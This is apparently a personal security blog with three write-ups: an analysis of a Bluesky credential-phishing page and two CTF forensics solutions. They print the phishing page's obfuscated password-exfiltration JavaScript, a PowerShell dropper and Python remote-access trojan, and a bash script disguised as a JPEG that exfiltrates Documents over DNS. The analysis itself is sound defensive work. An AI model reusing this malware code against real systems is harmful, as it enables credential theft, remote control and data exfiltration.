So as you are reading this, these little words have flown through my fingers and into this markdown file. That markdown file has then been hammered by various scripts to get it into a proper shape to be pushed up to a remote repository where it was yet again tested. As it cleared those tests it was transformed into a browser-friendly format and deployed to a webserver that is exposed to you and the rest of the public. What a journey! Writing it out, it sounds needlessly complex but as I am writing it out I am also noticing how little work I am having to do. Once set up, systems like these will save you so much time tha you get a return on your investment very quickly. You can get that return far quicker by being less stubborn than me and looking for tools in the wild that do what you need done with far less invested effort. I would likely go that route if I were paid for my time but, alas, I am not and this is merely for my own enjoyment.

Bluesky Phishing

Tue, 28 May 2024 13:31:08 +0200

Bluesky Phishing 🔗

I’ve been curious for a while about self-hosted social media things. Mastodon never caught my attention much, I don’t know quite why but I just didn’t vibe with it. Although when I saw that Bluesky was opening up the gates for federating your own personal data server, I thought “Why not? Looks easy enough”. They recently introduced a chat/DM feature, allowing users to have more direct and less public conversations. As soon as i got access, naturally I set my preferences to allow anyone to message me. My participation in the service had been quite mellow, but even so just a few days later i got my very first chat message! Joy of joys when it turned out to be phishing spam. Now I can’t say I’ve kept up much with the deluge of crypto scams that has hit the public lately, so my perception is still quite old school. Which led me to really enjoy poking around this one in particular, as it has ✨sparklies✨.

The approach 🔗

Now, sadly there seems to be a bug in the Bluesky app where you cannot access the chat logs from deleted accounts. Given that the master phisher had his account that reached out to me either bonked by the bsky.social moderation or deleted the account themselves, I can no longer access the original message. Unless of course the app on my phone wasn’t broken to Narnia and back, letting me grab this quick screenshot before the cache refreshed:

Last I checked, the link still worked so feel free to go poke around on your own. I’m not too afraid that they are going to drop a chrome 0day on me so I joyously opened the link just to find myself redirected to some stats page. But checking with curl I got a regular ol’ status 200, and not a redirect, with some HTML to boot which is when my interest was officially piqued.

The REAL page 🔗

So what the page does is that when it is loaded a little bit of JavaScript runs that ends in the redirect, removing the script snippet (to which we will return very shortly), you end up on this landing page:

It’s got all the cute little hallmarks of an old fashioned phishing scam. You got funky promises to entice you, it uses the official colors of what its trying to imitate, just the regular stuff. However, looking at the HTML for the page we get some fun little insights into our would be scammer. The code has been abridged for legibility.

<!DOCTYPE html>
<html>
<head>
...
<body>
...
<p>
What can you do with SkyBucks? Well, you can:<br>
Buy advertisements on BlueSky<br> <!-- I'm still surprised this isn't a real thing. Does namecheap really pay the bills? -->
Unlock <span class="xyz">colors</span> in your posts<br> <!-- [color=blue]BBCode in posts would be cool. In more practical (but less fun) terms, you could just use facets for this instead. There's a custom client idea for you![/color] -->
Auction your usernames<br> <!-- What if we made domain reselling cool again? -->
Purchase NFTs in our new Secure Cryptographic Art Market <!-- It took me 5 hours to come up with this --><br>
<!-- Also, stop reading my fishing (sic) page's code, you are committing copyright infringement and you might as well be committing arson. -->
</p>
<script>
function claim() {
document.getElementById('identifier').style.display = 'initial';
document.getElementById('password').style.display = 'initial';
document.getElementById('asd').style.display = 'initial';
document.getElementById('asdf').style.display = 'none';
}
// Put the password logger here when it's ready
</script>
<!-- Default SixV analytics code for SkyBucks https://6v.pages.dev -->
<script type="text/javascript">
var sv_project=12889629;
var sv_invisible=1;
var sv_security="72363732";
</script>
<script type="text/javascript">
...
</script>
</body>
</html>
<!-- :D -->

I mean, you gotta admit they have character at least! The specific Bluesky references in the comments about color indicates that the master phisher put at least a little effort into getting familiar with the service before throwing this together. The adorable threat of litigation will be a recurring theme in the coming section as well. I’m guessing the password logger never made it quite out of integration hell and into prod, poor thing. Accessing the url from the comments, https://6v.pages.dev, gives us the best worst site I’ve seen in a while:

That site is wonderful in and of itself, containing an commented out obfuscated email address and links to a Bluesky and mastodon account. From now on I will just call it the 6v site. A marvel of human engineering in the form of an analytics script is fetched and ran in the background:

// i have slightly improved my analytics infrastructure :)
Promise.resolve(fetch("https://mostlybenign.5u.workers.dev/trac?mostlybenign=3&hr="+encodeURI(window.location.href)))

This little snippet just makes a get request with one of the parameters given being your current location. So it essentially just sends up the URL you’re at to a central server. When this is curled, it will just reply with what are you looking for? :), which I guess is at least more cute than just a status 200 and a \n. The endpoint itself looks like a cloudflare worker, which makes sense since the 6v site is a cloudflare site. From what i can remember you can get a limited amount of tokens for free to use with the workers every month, so im guessing this is one of those free instances. With all of that settled, let’s move on to the scripts that run on the landing page!

The mysterious script 🔗

So in the last section, I removed a lot of the actual running code on the page, but now its time to take a peek. This is the last script that runs on the landing page, so it is safe to assume it is responsible for the redirect. I say assume, because by just looking at it I don’t think you could pinpoint exactly what it does as it is just a little obfuscated. I have done a little formatting so it is a bit easier to read however.

// SixV Analytics - Pageclick Tracker - Build ID 72363732
function report_pageclick(e, c) { 
    return click_datatrack(c, e)() 
} 
function click_datatrack(e, c) { 
    return c(e) 
} 
var zmq = Function, zmw = Number, zme = String, zmr = Array, zmt = Object;
function connect_click(e) { 
    var c = "", L = !1, A = !1, x = 0; 
        for (i = 0; i < e.length; i += 2) { 
            var O = e[i], Q = e[i + 1]; 
            (!L || A) && ("H" == O || "j" == O || "m" == O || "P" == O || "B" == O || "X" == O || "Y" == O) && (x ^= Q.charCodeAt(0)),
            (!L || A) && ("9" == O || "2" == O || "V" == O || "R" == O || "U" == O || "S" == O || "n" == O) && (x = (x + Q.charCodeAt(0)) % 256),
            (!L || A) && ("a" == O || "G" == O || "I" == O || "b" == O || "f" == O || "8" == O || "z" == O) && (L = !0, A = x == Q.charCodeAt(0)),
            (!L || A) && ("q" == O || "C" == O || "N" == O || "W" == O || "p" == O || "l" == O || "E" == O) && (c += String.fromCharCode(x)),
            (!L || A) && ("O" == O || "w" == O || "Q" == O || "J" == O || "A" == O || "6" == O || "x" == O) && (x = Q.charCodeAt(0)),
            (!L || A) && ("+" == O || "3" == O || "c" == O || "L" == O || "i" == O || "e" == O || "5" == O) && (x = c + Q.charCodeAt(0)),
            (!L || A) && ("0" == O || "D" == O || "Z" == O || "h" == O || "7" == O || "r" == O || "1" == O) && zmq(c)(), 
            (!L || A) && ("/" == O || "M" == O || "k" == O || "F" == O || "d" == O || "u" == O || "s" == O) && (c = ""), 
            ("t" == O || "K" == O || "T" == O || "y" == O || "4" == O || "o" == O || "v" == O) && 
            (L = !1, A = !1) 
        } return c 
    } 
function ready_clicktracking() { 
    var e = document.createElement("sixv-clicktracking"); 
    e.onclick = function () { 
        var e = connect_click(// "ARaRAhmGlaToxNGQc7yfQ7z7xMHblcTwATas5feacD50eB363qeG+XKqAmzmA+PcDeCoiJDfDJAn4XOCi4iwiGd3i3s3i3/
        //...
        // ewiueM+OvNQ/z/Q/UBXYluTsApbALZ5K5/5wK3"
        ); 
        report_pageclick(Function, e) }; 
        var c = document.createElement("sixv-handler"), L = document.createElement("sixv-callback"), A = document.createElement("sixv-ctfind"); 
        e.click(), c.click(), L.click(), A.click() 
    } 
ready_clicktracking();

The ASCII blob that’s been abbreviated and commented out is roughly 1.2KB in the real script. It seems the “connect click” function is our deobfuscator here, and looking at it its not the very height of simplicity. I am trash at javascript, but looking at it it seems that we set three variables A, L, and x to track a state and c to save output to, then we iterate over the blob two chars at a time which are stored in O and Q. Then we land in a cursed switch-case emulation that uses the fact that code execution is lazy. So first we look at A and L to make sure we are allowed to keep going at all. Then we check if O is in a list of chars, and if it isn’t the lazy interpreter will see the coming && operator and know it WILL evaluate false, stopping execution of that statement. However if the letter is in the sequence, the interpreter will evaluate the last parenthesis which is actually just supposed to run a bit of code. Depending on the variable O different operations can be performed, mostly relating to the value of the variable Q. But there is one line that stands out, where c is passed to zmq which is a previously defined blank function and by invoking it in this way, overwrites its contents with the contents of c and as such executes that code.

Now if you just ran this in a javascript interpreter you will get the return value: // Didn't I tell you not to look at my code? :(. As previously mentioned, I’m trash at javascript so I can’t hack together some clever way to get the rest of the blob in its deobfuscated form here. But since I can read javascript, I can translate it into python!

def deobfuscate(e):
    c = ""
    x = 0
    for i in range(0, len(e), 2):
        O = e[i]
        Q = e[i + 1]
        if O in "HjmPBXY":
            x ^= ord(Q)
        if O in "92VRUSn":
            x = (x + ord(Q)) % 256
        if O in "qCNWplE":
            c += chr(x)
        if O in "OwQJA6x":
            x = ord(Q)
        if O in "+3cLie5":
            x = c + str(ord(Q))
        if O in "0DZh7r1":
            yield c
        if O in "/MkFdus":
            c = ""
    return c

with open("deob.js", "w") as f:
    for c in deobfuscate(open("obfuscated.txt", "r").read()):
        f.write(c + "\n\n")

Now there have been some modifications here to the original which makes it less useful for similar cases. I discovered in porting it that the variables A and L were superfluous, so i removed all references to them. And since I wanted to access the contents sent to zmq I just sent it back to the writer with a yield instead. Other than that, the code is identical in execution, and in running it we get this output, again formatted a little bit:

// >:( if you are reading this text, i am filing multiple lawsuits against you immediately.
async function login() { 
    var ident = document.getElementById('identifier').value; 
    var passx = document.getElementById('password').value; 
    try { 
        await fetch("https://mostlybenign.5u.workers.dev/trac?mostlybenign=ix&ident=" + encodeURI(ident) + "&stats=" + encodeURI(passx));
    } 
    catch { 
        window.location.href = "https://bsky.app"; 
    } 
}
globalThis.login = login;
globalThis.asdf1234 = false;
function detectie() {
    // i stole this from some bad steam phishing site. it did not have a lawsuit disclaimer so that means i'm free to take this, i think
    k = /./;
    k.toString = function () { 
        window.location.href = "https://twexit.nl"; 
        globalThis.asdf1234 = true; 
    };
    if (!globalThis.asdf1234) {
        console.log(k);
    }
}
detectie();
setInterval(detectie, 1000);
// Didn't I tell you not to look at my code? :(

So it does actually seem like this is just an analytics script which was obfuscated but not minified? It uses the same url as the last script snippet in the first section which indicates that maybe maybe the author of this script is also the author of that 6v site. Alternatively, whoever sent me the original chat message really wanted the one owning 6v to get some analytics sent to them. It does seem like there is some sort of identification and password to login to this very serious analytics service after all. Or maybe, if we go back to the HTML of the original page, what this script actually tries to send is the contents of the login that hides behind the claim gift button on the landing page. So even here we are dealing with some cute obfuscation to make your web browser think you are just sending some stuff up to an analytics service where in reality it just sends the phished username and password to some central server.

Upon seeing this you can just move on with your life and live happily, or you write a quick little garbage generator in python and share it with your currently non-existent readerbase. Then you might be able to send enough garbage into that endpoint to make any future attempts at phishing with it an exercise in rudimentary data cleaning for the scammers. It could have been slimmed down but I didn’t think all that much when I threw it together. The endpoint will likely be killed soon anyways, they don’t usually stay up for too long.

import requests
import urllib.parse
import time
import random

usernames = [x.strip() for x in open("usernames.txt", "rb").readlines()]
passwords = [x.strip() for x in open("passwords.txt", "rb").readlines()]

while 1:
    try:
        ident = random.choice(usernames).decode("utf-8") + ".bsky.social"
        passx = random.choice(passwords).decode("utf-8")
        url = "https://mostlybenign.5u.workers.dev/trac?mostlybenign=ix&ident=" + urllib.parse.quote(ident) + "&stats=" + urllib.parse.quote(passx)
        requests.get(url)
        print("Sent " + ident + " " + passx)
        time.sleep(random.randint(1,1500)/1000)
    except Exception as e:
        print(f"something broke: {e}")

Conclusion 🔗

This was a fun little scam to pick at, and to write up. Not a day passes where I don’t find some more cursed javascript than the one before, and I am happy that today it landed right on my doorstep without me interacting much. Attribution in cybersecurity is always hard, but given the throughline of the comments left by the scammer in their HTML with the ones in the deobfuscated blob it is plausible that whomever owns the 6v site also sent the scam to me. So now we get into the murky waters of “did the attacker set this up to frame someone 😱” so I won’t be throwing names and handles around or pointing fingers. The scam was so transparent and at least on my browser didn’t seem to work like it was supposed to leading me to believe the scammer themselves took their accounts down after they noticed it was broken. But who knows, apparently I have already been sued.

Writeup: Undutmaning Raring

Wed, 24 Apr 2024 14:47:30 +0200

Writeup: Raring 🔗

It’s never too late to put out a writeup on a challenge you did… even a whole month after the actual event. This time it is one of the challenges from the Undutmaning, a CTF hosted by three Swedish intelligence/security agencies. Just as with my previous writeup this is a forensics challenge, at least by the CTF organizers definition. But it has some reverse engineering and crypto in it as well, which was honestly a really nice design choice on their part. The challenge felt pretty dynamic and I had to pull out some old schoolbook knowledge to solve some of the steps. So with no further ado, let’s dive into the material!

First step, looking into the provided material 🔗

This challenge starts you off with a pcap file and some allusions that it contains some sort of secret data transmission. A pcap file is simply a format for storing captured network transmissions, which can then be sifted through by analysts with tools like wireshark. Going over the packets flowing back and forth in the pcap file gives the impression of pretty normal web interactions

Wireshark lets you very easily export the data that was transmitted over a lot of protocols, including the omnipresent http. And looking into the exported files one pops out very quickly, namely important.rar. Extracting the archive yields a file called IMPORTANT.md.cmd, which seems a pretty poor way of obfuscating an executable but I think we’ve all seen worse work just fine for attackers. But there are a few other files as well, like a few HTML documents and a cute picture of a cat (which may prove to be more than it looks at first glance). The HTML files seems to indicate that the extracted files came from some sort of interaction with a very simple online mail client. Someone urges the user “Bob” to have a look at and approve the important report, and links the important.rar file.

Looking into the important script 🔗

As one may guess from the .cmd file extension, the code within IMPORTANT.md.cmd is a standard old-fashioned batch script. Well, at least syntactically. In reality it is just there to invoke a powershell command because doing heavy lifting logic in batch is a chore and would also likely make the script more cumbersome to ship. I’ve added some whitespace to the original to make it legible:

@echo off
powershell.exe -command '
if (
    (&{python -V} 2>&1 | % gettype) -eq [System.Management.Automation.ErrorRecord]
) 
{
    Invoke-WebRequest http://10.0.2.20/msupdate.msi -OutFile C:\Temp\msupdate.msi; 
    Start-Process "C:\Temp\msupdate.exe" -WindowStyle Hidden
} 
else 
{
    $s = (Invoke-WebRequest "http://10.0.2.20/G78GAP3GQV8B.jpg").Content; 
    $k = $s[-4934..-2467]; 
    $v = $s[-2467..-1]; 
    $o = @(); 
    for ($i = 0; $i -lt 2467; $i++) 
    { 
        $o += $k[$i] -bxor $v[$i]; 
    }; 
    $o = [System.Text.Encoding]::ASCII.GetString($o); 
    python3 -c "print($($o))"
    }
'

First it checks the version and therefore presence of a Python interpreter on the system. It does this by asking for a version with the -V flag but then instead of listening to that, it looks at whether or not the command returned with an error. If it detects that Python isn’t installed it goes and grabs it from a controlled server and installs it with the -WindowStyle Hidden flag, which hides the installer from the user. However it seems our user had Python, because otherwise the download of it would likely be a large chunk of the pcap stream. So we go right to the else statement and the business part of the script which begins by downloading that cat picture I mentioned that we extracted right into the variable s. Then the variable k and v are respectively assigned a sequence of bytes from the data of that cat image. The bytes in k and v are then bitwise XORed giving a kind of obfuscation that is similar to encryption in implementation but not in purpose. Whereas encryption aims to maintain the confidentiality of data, this simply acts to make the payload hard to detect for file scanners who will think it is just random binary.

This kind of data transfer is a prime example of steganography, which is the practice of hiding data within data. Doing so in a media file like a JPEG or PNG is often very simple, as you can simply append data behind the marker for end of file where an image reader would stop reading the file. In this case, the downloaded G78GAP3GQV8B.jpg is 86491 bytes in size, but the image of the cat is only 81557 of those bytes, which equates to a 4934 byte payload appended to the end of the file. As you can see in the extractor code, that is exactly where the script starts reading bytes from the image, going until the last byte. There are other ways of hiding data in media files as well, of course. One popular and still hard to detect method is Least Significant Bit (LSB) steganography where you edit the least significant bit for determining the color of every pixel to a bit in the data you wish to hide, which leaves the original file size unchanged and is still practically invisible to the human eye. But looking back to our issue at had, we now understand just what this script is doing and we can also see it ends up converting those extracted bytes to ascii and sending them in as a command into Python. So let’s have a look at exactly what they were executing.

The cat script 🔗

I was too lazy to install powershell on my machine, so i quickly rewrote the deobfuscator in Python:

raw_data = open("G78GAP3GQV8B.jpg", "rb").read()
k = raw_data[-4934:-2467]
v = raw_data[-2467: -1] 
o = b""
for i in range(0, 2466):
    o += (k[i] ^ v[i]).to_bytes()
print(o.decode())

It does the exact same thing as its powershell counterpart and when executed prints that code which had been obfuscated in the cat picture. I have left only the more important code in, because we will be doing very little analysis of the actual code for this part. But I can guarantee that our threat actors ALMOST kept to PEP-8 code standards originally, they even included some error management!

def encrypt_session_key(session_key: bytes) -> bytes:
    # TODO: generate new rsa key, p and q are too close..
    public_pem = '''-----BEGIN PUBLIC KEY-----
    MIIB ...
    iwIDAQAB
    -----END PUBLIC KEY-----'''

    public_key = RSA.import_key(public_pem)
    cipher = PKCS1_OAEP.new(public_key)
    ciphertext = cipher.encrypt(session_key)
    return ciphertext
def encrypt_AES_GCM(key, plaintext):
    ...
def decrypt_AES_GCM(key, nonce, tag, ciphertext):
    ...
if __name__ == '__main__':
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    session_key = get_random_bytes(16)
    while True:
        try:
            sock.connect(('10.0.2.20', 443))
            break
        except:
            sleep(60)
    rsa_blob = encrypt_session_key(session_key)
    sock.sendall(rsa_blob)
    while True:
        message = sock.recv(4096)
        if not message:
            break
        nonce = message[:16]
        tag = message[16:32]
        ciphertext = message[32:]
        command = decrypt_AES_GCM(session_key, nonce, tag, ciphertext).split()
        result = subprocess.check_output(['powershell.exe'] + command, stderr=subprocess.STDOUT)
        aes_blob = encrypt_AES_GCM(session_key, result)
        sock.sendall(aes_blob)

So looking over this code we can see a few things. Firstly, they left a comment in pointing out an obvious flaw, which is not all that uncommon when you break open malware to look inside. Secondly, we are dealing with some very standard encryption using a pre-shared public key for key encryption, then a symmetric key for stream data. Thirdly, that what they receive and send are commands and output respectively, which places this malware in the category of being a remote access tool, or RAT. It is kind of sneaky at that, because it lets the infected client connect to a server and then receive the commands as opposed to the server initiating the connection. This lets an attacker control a victim that hasn’t changed firewall or NAT settings to allow them through and at the same time allows them to masquerade as a legitimate HTTPS server to any security systems that are watching.

The final stretch 🔗

After having a second look at the pcap file in wireshark we can identify the exact moment the handshake is made and encrypted SSL traffic starts.

What we have learned thus far is that a victim went on a website, got a download for a cmd file that when executed pulled a Python RAT and initiated a connection to a remote server. The connection to that remote server is encrypted with AES with a key that in turn encrypted with RSA. The RSA key used is, according to the malware comment, based on poorly selected primes. I’m not going to go into the specifics of how RSA encryption works here, but for our purposes it is important to know that when a key is not constructed according to best practices, the encryption scheme is vulnerable to a lot of cryptographic attacks. In this case we can extract the private key from the public key because finding the prime factors that make it up is trivial. There is a public database of known factorized numbers, and this one is included! But without the database, it was pretty quick to just use fermat factorization as well. Here is the code I used to get the private key:

from Crypto.PublicKey import RSA
from factordb.factordb import FactorDB

key = RSA.import_key(open("id_rsa.pub").read().strip())
f = FactorDB(key.n)
f.connect()
p, q = f.get_factor_list()
phi = (p - 1) * (q - 1)
d = int(pow(key.e, -1, phi))
priv_key = RSA.construct((key.n, key.e, d))
print(priv_key.export_key().decode())

Now that we have obtained the key that is capable of decrypting the key that was transmitted in the SSL handshake, we can get to work decrypting the entire communication stream! So let’s extract that part from the pcap file. This could be done in wireshark, but I prefer doing these exctractions with tshark, the cli cousin of wireshark.

tshark -2 -r raring.pcap -R "ssl" -T fields -e tcp.payload > datafile.txt

What we are essentially saying here is: “Give me the tcp payload of the packets where the connection type is ssl” and then we put it in a file for storage. Then, referencing back to the cat script, we write a decryptor that will use that private key we extracted to get the session key, and then decrypt the traffic:

from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA

lines = [bytes.fromhex(x.strip()) for x in open("datafile.txt").readlines()]
enc_psk = lines.pop(0) # Get the encrypted session key which was the first thing transmitted
decryptor = PKCS1_OAEP.new(priv_key) # Use a decryptor with the reconstructed private key
dec_psk = decryptor.decrypt(enc_psk) # Get the decrypted session key

def decrypt_AES_GCM(key, nonce, tag, ciphertext): # Steal the decryption function from the RAT
    cipher = AES.new(key=key, nonce=nonce, mode=AES.MODE_GCM)
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)
    return plaintext.decode('utf-8')

for line in lines:
    nonce = line[:16]
    tag = line[16:32]
    ciphertext = line[32:]
    print(decrypt_AES_GCM(dec_psk, nonce, tag, ciphertext))

And the result (with some whitespace removed, some command outputs abridged, and a > to distingish commands from output) is:

> hostname
UU24PC01

> whoami /fqdn
CN=Bob Bobsson,CN=Users,DC=sekmyn,DC=local
> Get-NetIPAddress
IPAddress         : fe80::e1cb:257e:e4a8:f121%8
InterfaceIndex    : 8
InterfaceAlias    : Ethernet
...
> Get-NetNeighbor
ifIndex IPAddress          LinkLayerAddress   State      PolicyStore
------- ---------          ----------------   -----      -----------
8       ff02::1:ffa8:f121  33-33-FF-A8-F1-21  Permanent  ActiveStore
...
> Net User
User accounts for \\UU24PC01
-----------------------------------------------------------
Administrator            Bob                 DefaultAccount
Guest                    WDAGUtilityAccount
The command completed successfully.
> Get-PSDrive
Name   Used (GB)  Free (GB) Provider    Root    CurrentLocation
----   ---------  --------- --------    ----    ---------------
Alias                       Alias   
C       24.65         24.48 FileSystem  C:\    Users\bob.SEKMYN
...
> Get-ChildItem Z:\
    Directory: Z:\
Mode     LastWriteTime         Length Name 
----     -------------         ------ ---- 
...
d-----   3/10/2024   6:15 PM          admin
> Get-ChildItem Z:\admin\
    Directory: Z:\admin
Mode   LastWriteTime      Length Name    
----   -------------      ------ ----    
-----  3/10/2024 6:15 PM      28 flag.txt 
> Get-Content Z:\admin\flag.txt
undut{Qu4nd0-Qu4nd0-Qu4nd0}

And there is our flag! You can tell by the sequence of commands that they wanted to give the impression of an attacker doing some cautious recon before finding what they were looking for. They make sure they are in the right machine, list the network, then go for the filesystem. This kind of command execution is common in attacks where the attacker has either not done a lot of recon beforehand, and thus is unfamiliar with the system they land on, or have a broader scope for their attack so they couldn’t know the victim system layout in advance. While not conclusive evidence of compromise at all in and of itself, it can serve as a light indicator of compromise to be combined with others to detect attackers before it escalates too far.

Conclusion 🔗

Generally, it is hard to find and limit scripts like before it is too late. They run commands, use protocols, and make connections that could just as well be completely benign. This is exactly why a lot of browsers will be really persistent about you trusting the source for a download. While this attack doesn’t try to do fancier things like privilege escalation and completely owning the victim device, it can still be used to hijack user resources and exfiltrate user data. This particular one was meant to be connected to by a person, but in most cases they are operated through some sort of command and control server that keeps the connection alive and orchestrates the infected machines. While this SSL-based connection mechanism will work fine for most machines in most networks, other command and control mechanisms can be used to look even more innocent. One such example is using a discord bot with a webhook to control the infected machine via a discord server. To the victim machine, and other potential intrusion detection systems, the traffic will look like normal discord use and will be practically impossible to spot as malicious by automated systems. In this case the malicious file was sent by a supposedly trusted colleague over mail, but it could have been a discord friend who had their account hijacked or a text message from someone who had their number spoofed.

Writeup: Kattastrofen

Fri, 01 Mar 2024 19:09:33 +0100

Writeup: Kattastrofen 🔗

A friend wrote me today, said there was a challenge up on fra.se, and I was kinda itching for something to do so i jumped to it. The challenge in question was “Kattastrofen”, which only gives you a pcap file to play around with and some flavour text alluding to “someone having run malicious code which exfiltrated top secret data from their machine”. The readme says there will be three flags, in the format flagga[1-3]{[a-zå-ö0-9_!]+}. With little information to go on there is really only one reasonable starting point: Wireshark!

Flag 1: Basic Wireshark 🔗

Wireshark, and its commandline counterpart tshark, are very flexible packet capture- and analysis tools which can be used in forensic cases like this to investigate how different agents on a network communicated with eachother. The first thing I saw when opening the pcap in Wireshark was the HTTP traffic between a client (10.0.0.10) and a normal enough looking webserver (10.0.0.1). I could see that there was the typical GET requests for the site root, and the GET for the style.css file. Then there are some requests for some JPEGs with “kitten” in the filenames, and then a zip file which piqued my curiosity.

Naturally I took the lazy route and used Wireshark’s builtin object export to retrieve the files in the exchange. It simply looks at the data segments of a given protocol and stitches the transmitted files back together for you. The export yielded an HTML file, a zip file, a favicon, a css file, and a whole bunch of cat JPEGs which was to be expected from the transmission we looked at earlier. Only the first two turned out to be interesting, as the zip file was password protected with a string that was printed in bold text right across the page. We could have just as easily seen this in Wireshark if we had inspected the response to the first GET request, but I find that taking this route lends itself to a clearer overview for the general forensics case. In the zip archive we find a bunch more cat JPEGs and our first flag in a file called flag.txt:

flagga1{klassiska_lösenord_för_100}

Flag 2: Meeting Dennis 🔗

What happened here really? 🔗

So looking further at the original pcap, we see that there was a large block of DNS queries that look awfully suspicious. DNS is usually meant to resolve domain names to IP addresses, but these queries were for very strange domains. The structure was a number of subdomains that looked a lot like hexadecimal followed by cutekittenzz.xyz, which clearly indicates a DNS data exfiltration, and pretty rudimentary one at that. Simply put, the attacker is able to send DNS requests to a server they control from a machine they wish to exfiltrate data from. In these DNS requests they include subdomains with that data encoded, most usually in hexadecimal form. In the server they control they can later stich all these subdomain names together to recreate the file they exfiltrated. DNS exfiltration is used when subterfuge is important, as DNS is hard to block on a network level because of how desirable keeping it open is. If you put too large restrictions on DNS the internet will just start breaking for network users. The subterfuge is however pricy as it is comparatively slow since you are limited to just a few bytes per request, which there aren’t going to be a lot of if you want to keep that low profile.

Most modern IDS systems would scream and shout just based on how the subdomains looked, and the fact that there was suddenly a huge spike in DNS traffic to a previously unrecognized domain. This can also be circumvented by using the DNS packet header data instead of the name field, but then you are reducing your data transmission rate from bytes per request to bits per request. This makes it overall harder to detect a data spike, but you still run the issue of sending a lot of DNS queries for similar domains. Though this behavior is similar to how a lot of modern CDNs work, meaning that if you can mimic this behavior by clustering some cloud nodes, the exfiltration becomes all the harder to detect. Although at the end of the day, it is hard to beat TLS for secure data transfer and detecting exfiltration over HTTPS is increasingly difficult as its usage increases in scope more and more.

So now we know where our exfiltrated data is in the pcap, we just need to figure out how it got there in the first place. Looking around the archive extracted earlier, we can quickly find a bit of an outlier among the files: kitten-3.jpg which is far larger than the other JPEGs, and lacks a thumbnail image. This is because it is actually not a JPEG at all but a shell script that has just had the filename changed to make it look like an image. Most operating systems will still trust the file extension on a given file, even though it can be simply any data in there. This is a case of very basic steganography, which is the practice of hiding data within other data for the purpose of obfuscation. Taking a look at the contents of the file we see that it is a script meant to exfiltrate all the data in the executing users Documents directory.

#!/bin/bash

D=$(dirname "$0")
eog "$D/kitten-9.jpg" &

key="P1yq59jxFvIGgyebMmzgQIx6f/ng0fmK+N5+kDdBcgU="
echo $key |base64 -d > /tmp/key
tar cf - $HOME/Documents > /tmp/exfil.tar
echo "EXFIL $(date)" > /tmp/exfil.dat
echo "SIZE: $(stat -c%s /tmp/exfil.tar)" >> /tmp/exfil.dat
md5sum /tmp/exfil.tar >> /tmp/exfil.dat
echo "BEGIN DATA" >> /tmp/exfil.dat
paste <(od -An -vtu1 -w1 /tmp/exfil.tar) <(while :; \
    do od -An -vtu1 -w1 /tmp/key; done) \
  | LC_ALL=C awk 'NF!=2{exit}; {printf "%c", xor($1, $2)}' \
  | base64 >> /tmp/exfil.dat
echo "END DATA" >> /tmp/exfil.dat

...

First it pops up kitten-9.jpg with Eye of Gnome, a common image viewer that ships in a lot of Linux distros by default, so you have something cute to look at while you’re being robbed. It adds your entire Documents directory to a tar archive file, so it can be transmitted in a single go. Then the header for an exfiltration file is created, which includes the current date, the size of the tar archive as well as a checksum for it so that the transmission of the contents can be verified at the other end. Then the tar archive is passed through a function which uses the pre-defined key in an XOR-cipher to encrypt the entire tar file before it is appended to the end of the file. Calling this encryption hinges on a technicality, it really is so weak that it is basically just an encoding at this keysize. However if you extend the key to be as long as the file being encrypted, then the cipher is considered an unbreakable One Time Pad. Just don’t go on to reuse the same key since that reduces the keysize relative to the amount of data transmitted, landing you in the same problem as earlier but with more steps.

After this there is a huge blob of Base64 encoded data which gets decoded and shoved into a file named mjau, which subsequently gets executed with cutekittenzz.xyz, as an argument. Since that is the domain we saw in the exfiltration datasteam, we can assume this was the binary blob with which the exfiltration itself was carried out. Decoding it ourselves reveals that this is very much the case as it is a minimal version of dnscat, a tool used for exactly this kind of work. Knowing this we have everything we need now to retrieve the data from the pcap file!

The lost top secret document 🔗

We can use Wiresharks sibling tshark to get all the data we need from the pcap, while filtering out data that we don’t need. The DNS packet structure means there is a header and kind of a footer as well which we would need to account for if we used the dump right off the bat. But using the filtering function in tshark we can get just the name field, which is what we want here. We specify the command in such a way that we only get the name field of DNS queries which have the source 10.0.0.10 and output it all into a text file to hold it for further processing:

tshark -r kattastrofen.pcap \
       -T fields -e dns.qry.name \
       -Y "ip.src == 10.0.0.10 and dns" > dennis.txt

And we end up with something looking like this (a bit truncated for your viewing pleasure)

01e6002b176dba0021636f6d6d616e6420287562756e74752900.cutekittenzz.xyz
11e9012b176dbaec63.cutekittenzz.xyz
4da6012b176dbaec63.cutekittenzz.xyz
9e6f012b176dbaec63.cutekittenzz.xyz
3b0a012b176dbaec63.cutekittenzz.xyz
ff37012b176dbaec63.cutekittenzz.xyz
61ea012b176dbaec63.cutekittenzz.xyz
3a0b012b176dbaec63.cutekittenzz.xyz
500b012b176dbaec7a0007cfcc80010003455846494c204d6f6e20303520.46656220323032342030353a30393a303220414d205053540a53495a453a.203337383838300a39643962333734633333613836373266386638663161.6638373164376430346620202f746d.cutekittenzz.xyz
bcf5012b176e1aec7a702f657866696c2e7461720a424547494e20444154.410a567a5048677665455a5a64307247503055526d4e4a65494f444e6267.30666d4b2b4e352b6b4464426367552f584b726e32504557386761444a35.7379624f42416a48702f2b6544522b.cutekittenzz.xyz
abe0012b176e7aec7a5972340a336e36514e304679425439637175665938.526279426f4d6e6d7a4a733445434d656e2f35344e483569766a65667041.335158494650317971352b6a424a73497874684b62416c7a51636274500a.542f6e5134636d377a2b744f6b4164.cutekittenzz.xyz

Just looking at it with my primate eyes I spotted pattern pretty quick, that the first four characters varied a lot, the subsequent 14 were relatively static and then it became very varied again. This indicated that the first 18 bytes were some sort of header, which might interfere with how we stitch this file together later. So I went to the first intuative thing that came to mind to manage text data: Python!

First we need to just get the data separated from all the clutter, which we can do with this python list comprehension.

data = [x.split(".")[:-2] for x in open("dennis.txt").readlines() if x]

Then, we need to convert it from hexadecimal to raw binary so we can work with it easier. Luckily Python enables this type conversion very easily, so another list comprehension it is. In this step I also discard the useless 18 byte header data.

data = [bytes.fromhex("".join(blob)[18:]) for blob in data]

Now we have the full .dat file that the script in kitten-03.jpg created! But we are only really interested in recovering the exfiltrated tar file, which we know is between the BEGIN DATA and END DATA points in the file, so we can use split to carve it out. Then it is just a matter of decoding it, and while it is obvious that it is Base64 data just by looking at it, we also know this from the script.

import base64
b64_data = b"".join(data).split(b"BEGIN DATA")[-1].split(b"END DATA")[0]
decoded_data = base64.b64decode(b64_data)

Now we have the raw binary data, but they encrypted it with an XOR cipher meaning we have to add the step of decrypting it before we can look inside. This is easily done, since they left the key in the script! We just need to decode that, then loop over the encrypted data to get the cleartext out.

